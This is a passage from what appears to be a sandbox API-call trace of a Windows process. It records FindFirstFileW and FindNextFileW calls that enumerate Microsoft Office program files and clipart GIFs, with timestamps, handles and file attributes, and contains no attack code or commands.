dwMilliseconds=0xffffffff) returned 0x0 [0231.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0231.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0231.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0231.633] ResetEvent (hEvent=0x2b8) returned 1 [0231.633] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.636] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0231.636] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0231.636] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0231.636] ResetEvent (hEvent=0x2b8) returned 1 [0231.636] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.638] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0231.639] ResetEvent (hEvent=0x2b8) returned 1 [0231.639] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.640] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0231.641] ResetEvent (hEvent=0x2b8) returned 1 [0231.641] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.644] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0231.644] ResetEvent (hEvent=0x2b8) returned 1 [0231.644] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.650] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0231.650] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0231.650] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0231.650] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0231.651] ResetEvent (hEvent=0x2b8) returned 1 [0231.651] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.656] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0231.656] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0231.657] GetProcessHeap () returned 0xc10000 [0231.657] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0231.658] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0231.658] GetProcessHeap () returned 0xc10000 [0231.658] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0231.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0231.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.659] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0231.659] GetProcessHeap () returned 0xc10000 [0231.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0231.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0231.661] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.662] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0231.662] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0231.662] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0231.662] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0231.662] ResetEvent (hEvent=0x2b8) returned 1 [0231.662] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.931] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0231.931] ResetEvent (hEvent=0x2b8) returned 1 [0231.931] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.933] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0231.933] ResetEvent (hEvent=0x2b8) returned 1 [0231.933] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.963] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0231.963] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0231.964] ResetEvent (hEvent=0x2b8) returned 1 [0231.964] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.966] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0231.966] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0231.966] ResetEvent (hEvent=0x2b8) returned 1 [0231.966] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.968] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0231.968] ResetEvent (hEvent=0x2b8) returned 1 [0231.968] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.970] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0231.971] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0231.971] ResetEvent (hEvent=0x2b8) returned 1 [0231.971] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.972] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0231.972] ResetEvent (hEvent=0x2b8) returned 1 [0231.972] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0231.975] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0231.975] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0231.975] ResetEvent (hEvent=0x2b8) returned 1 [0231.975] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.073] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0232.073] ResetEvent (hEvent=0x2b8) returned 1 [0232.073] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.075] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0232.075] ResetEvent (hEvent=0x2b8) returned 1 [0232.075] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.077] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0232.077] ResetEvent (hEvent=0x2b8) returned 1 [0232.077] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.080] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0232.080] ResetEvent (hEvent=0x2b8) returned 1 [0232.080] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.103] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, 